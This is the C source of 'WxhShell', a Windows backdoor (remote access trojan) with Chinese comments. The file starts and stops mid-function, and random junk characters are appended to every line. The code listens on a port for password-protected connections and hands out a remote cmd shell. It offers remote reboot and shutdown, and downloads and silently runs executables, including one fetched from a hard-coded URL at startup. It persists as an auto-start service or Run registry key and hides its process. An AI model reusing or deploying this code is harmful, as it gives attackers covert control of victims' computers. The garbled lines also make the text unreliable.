    break; 8]oolA:^4s  
    } "0,FB4L[U5  
  // 关机 c2Exga_  
  case 'd': { ) iZU\2L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c&N;r|N  
    if(Boot(SHUTDOWN)) IRueq @4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5RH:]DV  
    else { KMK8jJ  
    closesocket(wsh); |f/Uzd ~  
    ExitThread(0); SUv'cld  
    } P]TT8Jgw  
    break; {9X mFa  
    } !Z 0U_*&  
  // 获取shell kDXQpe  
  case 's': { ;xiwyfqgE  
    CmdShell(wsh);  axDa&7%  
    closesocket(wsh); pwkTe  
    ExitThread(0); ~)n[Vf  
    break; <*WGvCh%w  
  } 3fA+{Y8S  
  // 退出 X6T[+]Gc  
  case 'x': { TZ `Ypi7r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1up p E|  
    CloseIt(wsh); i]J.WFu  
    break; _RbM'_y+E  
    } ~#i2reG5  
  // 离开 !tcz_%  
  case 'q': { k5J18S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lSlZ^.&  
    closesocket(wsh); QnP?j&  
    WSACleanup(); G+Bk!o  
    exit(1); '2hy%  
    break; mRm}7p  
        } oK 7:e~  
  } REYvFx?i  
  } ;obOr~Jx'5  
d7mn(= &  
  // 提示信息 }2;iIw`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <:NahxIlu  
} B-$?5Ft!  
  } u|T]Ne  
*v]s&$WyO  
  return; 93:oXyFjD  
} 97$Q?a8S@  
#/jug[wf*!  
// shell模块句柄 X d o\DQn  
int CmdShell(SOCKET sock) ?Z_T3/ f  
{ ExSM=  
STARTUPINFO si; F\^8k/0  
ZeroMemory(&si,sizeof(si)); ~\i(bFd)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dvqg H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l2:-).7xt  
PROCESS_INFORMATION ProcessInfo; 3;VH'hh_  
char cmdline[]="cmd"; %p$XK(6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1G"ohosmF  
  return 0; *S"RU~1_  
} dP(.l}O  
%8h=_(X\7  
// 自身启动模式  <7SE|  
int StartFromService(void) I.G[|[. Do  
{ HA,8O [jon  
typedef struct RgUQ:  
{ ~[dL:=?c  
  DWORD ExitStatus; }A,!|m4  
  DWORD PebBaseAddress; KvEv0L<ky  
  DWORD AffinityMask; 7s3=Fa:9Q  
  DWORD BasePriority; c"-X: m"  
  ULONG UniqueProcessId; XzSl"UPYH  
  ULONG InheritedFromUniqueProcessId; @eeI4Jz  
}   PROCESS_BASIC_INFORMATION; U,Uy0s2r  
dNNXMQ0"  
PROCNTQSIP NtQueryInformationProcess; D)?%kNeA  
\#LDX,=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2G$p x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fP5i3[T  
5>+@.hPX  
  HANDLE             hProcess; 'W4B  
  PROCESS_BASIC_INFORMATION pbi; r~YBj>}  
4H%#Sn#L^!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f<iK%  
  if(NULL == hInst ) return 0; )[J!{$&y  
~tyqvHC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9#:fQ!3`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +_$s9`@]6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xw_klHL-o  
i&^JG/a  
  if (!NtQueryInformationProcess) return 0; {Ji&rk}NP  
)B"{B1(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2uN3:_w  
  if(!hProcess) return 0; DbLo{mFEIj  
LH)1IGAx2y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i!*<LIq  
O8b#'f~  
  CloseHandle(hProcess); cW_wIy\]&  
i%.k{MY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f=}T^Z<  
if(hProcess==NULL) return 0; ymqv@Byi8A  
%K')_NS@  
HMODULE hMod; n44 T4q  
char procName[255]; Yj>4*C9  
unsigned long cbNeeded; a>W++8t1 ;  
Anu:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Khi;2{`  
6E K<9M  
  CloseHandle(hProcess); 5,##p"O(  
-dO8Uis$  
if(strstr(procName,"services")) return 1; // 以服务启动 q4w]9b/  
p+|8(w9A${  
  return 0; // 注册表启动 A+8)VlE\  
} ;$zvm`|:  
.Z'NH wCy  
// 主模块 \wsVO"/  
int StartWxhshell(LPSTR lpCmdLine) NQ;X|$!zH  
{ 97\K] Tr  
  SOCKET wsl; p7-\a1P3  
BOOL val=TRUE; FXDB> }8  
  int port=0; Qs za,09  
  struct sockaddr_in door; Y:O|6%00Y  
%a WRXW@c  
  if(wscfg.ws_autoins) Install(); %LP4RZ  
, +J)`+pJx  
port=atoi(lpCmdLine); k<Gmb~Tg1  
AVw oOv J  
if(port<=0) port=wscfg.ws_port; }DM W,+3  
gBh X=2%  
  WSADATA data; zJW2F_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L~{(9J'(  
MXfyj5K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @(35I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r>ed/<_>m;  
  door.sin_family = AF_INET; 9v`sSTlSd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $;G<!]& s  
  door.sin_port = htons(port); He'VqUw_  
5NUaXQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O2ktqAWx@  
closesocket(wsl); >I5Wf /$  
return 1; J-'XT_k:iM  
} J/K~8s c  
1}Q9y`65  
  if(listen(wsl,2) == INVALID_SOCKET) { &.DRAD)  
closesocket(wsl); 7r' _p$  
return 1; {g1"{  
} VFZ?<m  
  Wxhshell(wsl); ,M?8s2?  
  WSACleanup(); u8KQV7E  
^ '|y^t  
return 0; LH_H yP_  
|[iO./ zP  
} 4GF3.?3  
" Zhh>cz  
// 以NT服务方式启动 ;z9 ,c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #GlFm?/6K/  
{ +em!TO  
DWORD   status = 0; B-]bhA4|:  
  DWORD   specificError = 0xfffffff; Mz(?_7  
zEO~mJzo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '+{yg+#/wV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; { "Cu)AFy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hy\q{  
  serviceStatus.dwWin32ExitCode     = 0; `.O$RwC&7B  
  serviceStatus.dwServiceSpecificExitCode = 0; *9r(lmrfj  
  serviceStatus.dwCheckPoint       = 0; /iM1   
  serviceStatus.dwWaitHint       = 0; G \MeJSt*  
K;"oK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  0LL65[  
  if (hServiceStatusHandle==0) return; V6[jhdb  
%La7);SeY  
status = GetLastError(); )@I] Rk?  
  if (status!=NO_ERROR) +C7E]0!r  
{ pXlqE,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TA/hj>rV  
    serviceStatus.dwCheckPoint       = 0; 2e1%L,y{W  
    serviceStatus.dwWaitHint       = 0; YYFS ({  
    serviceStatus.dwWin32ExitCode     = status; j0+D99{R  
    serviceStatus.dwServiceSpecificExitCode = specificError; \8<[P(!3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @fmp2!?6  
    return; i0wBZ i?  
  } @d~]3T  
/cx'(AT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u9v,B$ S  
  serviceStatus.dwCheckPoint       = 0; zLe(#8G  
  serviceStatus.dwWaitHint       = 0; Z7pX%nj_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wM N;<  
} CQ.C{  
e8dZR3JL  
// 处理NT服务事件,比如:启动、停止 ?'a>?al%>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v\8v'EDP  
{ ^.)0O3oC  
switch(fdwControl) oqh@ (<%  
{ Uaux0W  
case SERVICE_CONTROL_STOP: qzvht4  
  serviceStatus.dwWin32ExitCode = 0; QeFt WjlqC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FO[ s;dmzu  
  serviceStatus.dwCheckPoint   = 0; iOhX\@&  
  serviceStatus.dwWaitHint     = 0; Q`'cxx  
  { 3=oxT6"k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fA<os+*9i  
  } [Q8Wy/o Q  
  return; SC%HHu\l  
case SERVICE_CONTROL_PAUSE: hM!g6\ w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zj2y=A| Y  
  break; l3^'bp6HQ  
case SERVICE_CONTROL_CONTINUE: 0iM'),v[]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ op0" #B  
  break; HU/4K7e`  
case SERVICE_CONTROL_INTERROGATE: bXOM=T  
  break; {aV,h@>  
}; >6&Rytcc]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  q9{ h@y  
} ltk ARc3  
:d35?[  
// 标准应用程序主函数 TAOsg0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;PG= 3j_  
{ W f8@ B#^{  
q%q+2P>  
// 获取操作系统版本 g}Lm;gs!>  
OsIsNt=GetOsVer(); r ^*D8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2^`k6V!  
_~yd  
  // 从命令行安装 EX!`Zejf  
  if(strpbrk(lpCmdLine,"iI")) Install(); xbw;s}B  
h {Jio>  
  // 下载执行文件 $Lbamg->E  
if(wscfg.ws_downexe) { zmD7]?|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t+F_/_"B  
  WinExec(wscfg.ws_filenam,SW_HIDE); N.Q}.(N0  
} seAPVzWUU  
NQuqM`LSQ  
if(!OsIsNt) { iuXXFuh  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?R sPAL  
HideProc(); x\ # K2  
StartWxhshell(lpCmdLine); p>J@"?%^  
} l44QB8 9  
else 6A =k;do  
  if(StartFromService()) xH` VX-X3  
  // 以服务方式启动 gzvgXZ1q"  
  StartServiceCtrlDispatcher(DispatchTable); pN9U1!|uam  
else LcA7f'GVK  
  // 普通方式启动 <6;@@  
  StartWxhshell(lpCmdLine); >0iCQKq  
c+z [4"rYL  
return 0; M~`^deU1  
} IIGx+>  
\Ezcr=0z{j  
3:#6/@wQ  
sqV~ Dw  
=========================================== hg<[@Q%$o  
BUsxgs"),  
; }T+ImjA  
{0+WVZ4u  
pQc-}o"  
{"$ [MYi:  
" JJg;X :p  
M,kO7g  
#include <stdio.h> $.w$x1  
#include <string.h> ]LxE#R5V  
#include <windows.h> OJA_OqVp$K  
#include <winsock2.h> ojm IEzsz  
#include <winsvc.h> 3HcduJntl  
#include <urlmon.h> noz1W ]  
0:I<TJ~P  
#pragma comment (lib, "Ws2_32.lib") #ucb  
#pragma comment (lib, "urlmon.lib") jy>?+hm?  
3'i(wI~<[  
#define MAX_USER   100 // 最大客户端连接数 `jOk6;Z[  
#define BUF_SOCK   200 // sock buffer \JR^uJ{Y  
#define KEY_BUFF   255 // 输入 buffer YuIF}mUr"  
>)diXe}j  
#define REBOOT     0   // 重启 P{n*X  
#define SHUTDOWN   1   // 关机 6;s[dw5T  
2)0J@r'  
#define DEF_PORT   5000 // 监听端口 1k)pJzsc  
bd}[X'4d  
#define REG_LEN     16   // 注册表键长度 :HrFbq  
#define SVC_LEN     80   // NT服务名长度 Svo\+S  
6yAZvX  
// 从dll定义API !kb:g]X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bd%< Jg+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I7=A!C"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @VG@|BQWa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /uR/,R++  
1 \aTA,  
// wxhshell配置信息 l.g.O>1   
struct WSCFG { ~9#x=nU:+V  
  int ws_port;         // 监听端口 ;P;c!}:\b  
  char ws_passstr[REG_LEN]; // 口令 :qB|~"9O  
  int ws_autoins;       // 安装标记, 1=yes 0=no a(?)r[=  
  char ws_regname[REG_LEN]; // 注册表键名 ?GhMGpd Mq  
  char ws_svcname[REG_LEN]; // 服务名 ?D)$O CS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {{M/=WqC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E6O!e<ze^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O8" t.W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o%;ly  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~a_X 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n=$ne2/  
.<fdX()e,  
}; Q}<QE:-&E  
yVGf[ ~X  
// default Wxhshell configuration <Ist^ h+o  
struct WSCFG wscfg={DEF_PORT, a 8Xwz@ M  
    "xuhuanlingzhe", -Edy ~;_  
    1, Dic|n@_Fy  
    "Wxhshell", r7?nHF  
    "Wxhshell", o37oRv]  
            "WxhShell Service", Pn.DeoHme  
    "Wrsky Windows CmdShell Service", {=Jo!t;f  
    "Please Input Your Password: ", coPdyw'9&  
  1, f##/-NG  
  "http://www.wrsky.com/wxhshell.exe", H%rNQxA2 +  
  "Wxhshell.exe" 5|pF*8*  
    }; XSK<hr0m  
T2azHo7  
// 消息定义模块 ~&MDfpl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1t^9.!$@y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; > cWE@P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q/4ICgo4  
char *msg_ws_ext="\n\rExit."; ,!%E\`  
char *msg_ws_end="\n\rQuit."; cqs.[0 z#B  
char *msg_ws_boot="\n\rReboot..."; 7 wEv`5  
char *msg_ws_poff="\n\rShutdown..."; #Y   
char *msg_ws_down="\n\rSave to "; 6~W@$SP,F  
~@-r  
char *msg_ws_err="\n\rErr!"; ybFxz  
char *msg_ws_ok="\n\rOK!"; , u%V%  
<pHm=q/U  
char ExeFile[MAX_PATH]; -gba&B+D"  
int nUser = 0; MVvBd3  
HANDLE handles[MAX_USER]; Tl[*(| /C  
int OsIsNt; f#GMJ mCQs  
hjFht+j1  
SERVICE_STATUS       serviceStatus; @>~\So|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C^B$_?  
+0Q +0:  
// 函数声明 kb/BE J  
int Install(void); #wRhR>6  
int Uninstall(void); kMnG1K  
int DownloadFile(char *sURL, SOCKET wsh); LJ@r+|>  
int Boot(int flag); GU@#\3  
void HideProc(void); #Cu$y8~as  
int GetOsVer(void); q%$p56\?3  
int Wxhshell(SOCKET wsl); >C6S2ISSz  
void TalkWithClient(void *cs); hqjjd-S0  
int CmdShell(SOCKET sock); )b2O!p  
int StartFromService(void); tAJ}36 aG  
int StartWxhshell(LPSTR lpCmdLine); q<z8P;oP^  
2?Jw0Wq5D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .S/zxf~h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0}`-vOLd-  
Xa?igbgAwx  
// 数据结构和表定义 em0Y'J  
SERVICE_TABLE_ENTRY DispatchTable[] = cYC^;,C &|  
{ } -;)G~h/"  
{wscfg.ws_svcname, NTServiceMain}, 4Nt4(3Kf  
{NULL, NULL} es#6/  
}; 7'i{JPm  
z,SI  
// 自我安装 2; ,8 u  
int Install(void) &}2@pu[S?7  
{ >,3uu}s  
  char svExeFile[MAX_PATH]; c6c@ Xd V  
  HKEY key; o}/|"(K  
  strcpy(svExeFile,ExeFile); Ma$~B0!;s  
&V <f;PF(I  
// 如果是win9x系统,修改注册表设为自启动 3rMJC\h  
if(!OsIsNt) { Kn@#5MC rU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2=8PA/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q25VG5 G  
  RegCloseKey(key); u)o-H!a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QQV8Vlv"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =MJB:  
  RegCloseKey(key); $*%,  
  return 0; T7.SjR6X>  
    } j_<!y(W  
  } "P(obk  
} $rr@3H+  
else { ?(d1;/0v>  
N AY3.e  
// 如果是NT以上系统,安装为系统服务 u?dPCgs;h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #m?)XB^_  
if (schSCManager!=0) 5toa@#Bc%  
{ AL3iNkEa  
  SC_HANDLE schService = CreateService J9]cs?`)  
  ( z5M6  
  schSCManager, -40X3  
  wscfg.ws_svcname, _~\ } fY  
  wscfg.ws_svcdisp, Is }kCf  
  SERVICE_ALL_ACCESS, a%b E}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rb:<?&7ZzN  
  SERVICE_AUTO_START, jED.0,+K !  
  SERVICE_ERROR_NORMAL, ;e5PoLc  
  svExeFile, T~Bj],k_  
  NULL, u4SL:IH{D  
  NULL, -/{FGbpR;  
  NULL, {b4`\ I@<  
  NULL, Q#SQ@oUzD  
  NULL |M5#jVXj  
  ); [yQ%g;m  
  if (schService!=0) 2 Kjd!~Z$  
  { 7G-?^  
  CloseServiceHandle(schService); `{Q'iydU  
  CloseServiceHandle(schSCManager); bK~Toz< k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *OFG3uM  
  strcat(svExeFile,wscfg.ws_svcname); 1a{r1([)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B^P&+,\[}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &*+$38XE^  
  RegCloseKey(key); f ?k0(rl  
  return 0; h L [eA  
    } -2J37   
  } 0g|5s  
  CloseServiceHandle(schSCManager); vZTXvdF  
} ^-k"gLg  
} &Q?@VN i  
U6@c)_* <  
return 1; ~Y CH5,  
} |>]@w\]  
Wmcd{MOS  
// 自我卸载 EC,`t*<  
int Uninstall(void) MU a[}?  
{ w($a'&d`0  
  HKEY key; TMPk)N1Ka  
<Jhd%O  
if(!OsIsNt) { c5WMN.z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pl&nr7\  
  RegDeleteValue(key,wscfg.ws_regname); Uz!3){E  
  RegCloseKey(key); Jk\-e`eE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #d\&6'O  
  RegDeleteValue(key,wscfg.ws_regname); S5 q1M n  
  RegCloseKey(key); lRg?||1ik  
  return 0; eZT8gKbjJ)  
  } 1a{3k#}  
} .UL 2(0  
} >iOf3I-ATt  
else { z6E =%-`  
A3_p*n@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s~ 8 g  
if (schSCManager!=0) 2Wluc37  
{ Vl5>o$G|<.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \M\7k5$  
  if (schService!=0) klm>/MXI`  
  { >bZ-mX)j\0  
  if(DeleteService(schService)!=0) { Ei@  
  CloseServiceHandle(schService); \/3(>g?4  
  CloseServiceHandle(schSCManager); 5>f"  
  return 0; [%dsq`b#  
  } fS4W*P[B3  
  CloseServiceHandle(schService); ktTP~7UVi  
  } aHW34e@ebL  
  CloseServiceHandle(schSCManager); \~,\|  
} e3;D1@  
} \Yr*x7!  
d%'#-w'  
return 1; B0Wf$ s^7t  
} x0Loid\f  
zG ='U  
// 从指定url下载文件 lF}@@e)N  
int DownloadFile(char *sURL, SOCKET wsh) @L!^2v  
{ `~u=[}w  
  HRESULT hr; ;(`bP  
char seps[]= "/"; xE<H@@w  
char *token; ~-7/9$ay5  
char *file; E! NtD).=S  
char myURL[MAX_PATH]; hp'oiR;~w  
char myFILE[MAX_PATH]; = exCpW>  
e*}zl>f  
strcpy(myURL,sURL); uKk#V6t#  
  token=strtok(myURL,seps); 'D5J5+.z  
  while(token!=NULL) :zKW[sF  
  { a4^hC[a  
    file=token; [6mK<A,/  
  token=strtok(NULL,seps); ru eaP  
  } "{D/a7]lC  
JL87a^ro  
GetCurrentDirectory(MAX_PATH,myFILE); J2VPOn  
strcat(myFILE, "\\"); ;`7~Q  
strcat(myFILE, file); h76j|1gI  
  send(wsh,myFILE,strlen(myFILE),0); 9t\14tVwx  
send(wsh,"...",3,0); *% ;A85V/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "t4z)j;  
  if(hr==S_OK) Cst1nGPL  
return 0; -6- sI  
else '69)m~B0a  
return 1; "H(3pl.  
cDz@3So.b  
} .euA N8L  
@9 S ::  
// 系统电源模块 *J[ P#y  
int Boot(int flag) vm+3!s:u  
{ Z. gb'  
  HANDLE hToken; EWDsBNZaI  
  TOKEN_PRIVILEGES tkp; PM[W7g T  
j? BL8E'   
  if(OsIsNt) { Q*#Lr4cm{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [m:cO6DM,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _1gNU]"  
    tkp.PrivilegeCount = 1; WMtFXkf6"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C:Rs~@tl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I20~bW  
if(flag==REBOOT) { 1M??@@X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lbz/M _G  
  return 0; @QmN= X5  
} h7E?7nR  
else { SnFyK5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ck] I?  
  return 0; C%yH}T\s  
} As)?~dV  
  } F!#)l*OX;  
  else { im &N &A  
if(flag==REBOOT) { Zt9G[[]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R5=J:o  
  return 0; yP$esDP  
} (9%?ik  
else { =_k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bDWL Hdu a  
  return 0; 6Z#Nh@!+C  
} 30^q_|l:]  
} O.Pp*sQ^  
'Jf LTG.  
return 1; 85&7WAco"B  
} ;?HP/dZLz  
_?"y1 L.  
// win9x进程隐藏模块 y60aJ)rAX  
void HideProc(void) p)B /(%  
{ J(#6Cld`c  
G;cC!x<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O"~[njwkE  
  if ( hKernel != NULL ) MS""-zn<  
  { FA-cTF[,(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bQ3<>e\%B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c+3(|k-M  
    FreeLibrary(hKernel); JR `$t~0t  
  } >A{Dpsi\  
 Q(w;  
return; QTa\&v[f  
} B;[ .u>f  
ldTXW(^j  
// 获取操作系统版本 _0Ea 3K  
int GetOsVer(void) O)&W0` VY  
{ l GYW[0dy  
  OSVERSIONINFO winfo; ddN(L`nd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VCc=dME  
  GetVersionEx(&winfo); ^9,^ BHlC0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =A,B'n\R  
  return 1; iqB5h| `  
  else fe yc  
  return 0; o A2oX  
} *D%w r'!>  
BmpAH}%T  
// 客户端句柄模块 "v?F4&\ 8  
int Wxhshell(SOCKET wsl) 0 ^>,  
{ P,pC Z+H  
  SOCKET wsh; #:BkDidt2v  
  struct sockaddr_in client; \12G,tBH  
  DWORD myID; {?lndBP<  
^*fD  
  while(nUser<MAX_USER) }d; 2[fR)  
{ \ejHM}w3,  
  int nSize=sizeof(client); tm5{h{AM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T=YVG@fm?  
  if(wsh==INVALID_SOCKET) return 1; '9u?lA^9$  
jA9uB.I,"b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~-vCY  
if(handles[nUser]==0) A3tv'-e9  
  closesocket(wsh); yC$m(Y12FN  
else Q SF0?Puf  
  nUser++; }y*D(`  
  } ~ 3M4F^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U:8] G  
z0LspRaz  
  return 0; vW eg1  
} =cV|o]  
mmJnE  
// 关闭 socket %2dzx[s  
void CloseIt(SOCKET wsh) u3qx G3  
{ `,SL\\%u  
closesocket(wsh); ,*W~M&n"m  
nUser--; ,&@GxiU  
ExitThread(0); ?l%4 P5  
} |Io:D:  
U)f('zD  
// 客户端请求句柄 bu6Sp3g  
void TalkWithClient(void *cs) A{;"e^a-^l  
{ jC[_uG  
Q(-&}cY  
  SOCKET wsh=(SOCKET)cs; 8>WA5:]v  
  char pwd[SVC_LEN]; cdkEK  
  char cmd[KEY_BUFF];  &ox  
char chr[1]; +pG+ xI  
int i,j; V/H+9+B7Im  
2F*>&n&Db7  
  while (nUser < MAX_USER) { zx<PX  
db,?b>,EE  
if(wscfg.ws_passstr) { 8<}=f4vUj5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AJ6l#j-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (" :Dz_  
  //ZeroMemory(pwd,KEY_BUFF); `Gv\"|Gn  
      i=0; N9|J\;fzT  
  while(i<SVC_LEN) { .?s jr4   
v\dQjQu8m  
  // 设置超时 Tk[]l7R~  
  fd_set FdRead; (bv{1 7K  
  struct timeval TimeOut; :@jctH~  
  FD_ZERO(&FdRead); vC>2%Zgf-  
  FD_SET(wsh,&FdRead); W7 A!QS  
  TimeOut.tv_sec=8; Ox#vW6;)  
  TimeOut.tv_usec=0; G7Ck P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F-zIzzb&O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h[qZM  
?7wcv$K5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k^|z.$+  
  pwd=chr[0]; ox`Zs2-a  
  if(chr[0]==0xd || chr[0]==0xa) { ppn  8  
  pwd=0; <QvVPE}z   
  break; RuYIG?J=/  
  } }Fu1Y@M%  
  i++; uMva5o  
    } ] / Nt  
D$4GNeB+#  
  // 如果是非法用户,关闭 socket 9d|8c > I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8/j|=Q,5  
} ` Ny(S2  
#*pB"L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'kj q C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AJ>E\DK0]  
c-JXWNz  
while(1) { mZB:j]T  
7"2BZ  
  ZeroMemory(cmd,KEY_BUFF); )/DN>rU  
k0=!%f_G!  
      // 自动支持客户端 telnet标准   0qNmao4E_  
  j=0; wxcJ2T dH  
  while(j<KEY_BUFF) { J'|[-D-a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4|&/# Cz^Y  
  cmd[j]=chr[0]; C zw]5  
  if(chr[0]==0xa || chr[0]==0xd) { :'%|LBc0  
  cmd[j]=0; |MKR&%Na  
  break; _Jg#T~  
  } {sB-"NR`K  
  j++; FJH>P\+  
    } \EU3i;BNT%  
][l5S*CC_  
  // 下载文件 GC# [&>L  
  if(strstr(cmd,"http://")) { J?TCP%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xh}q/H<  
  if(DownloadFile(cmd,wsh)) USEmD5q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {M:/HQo  
  else SujEF` "  
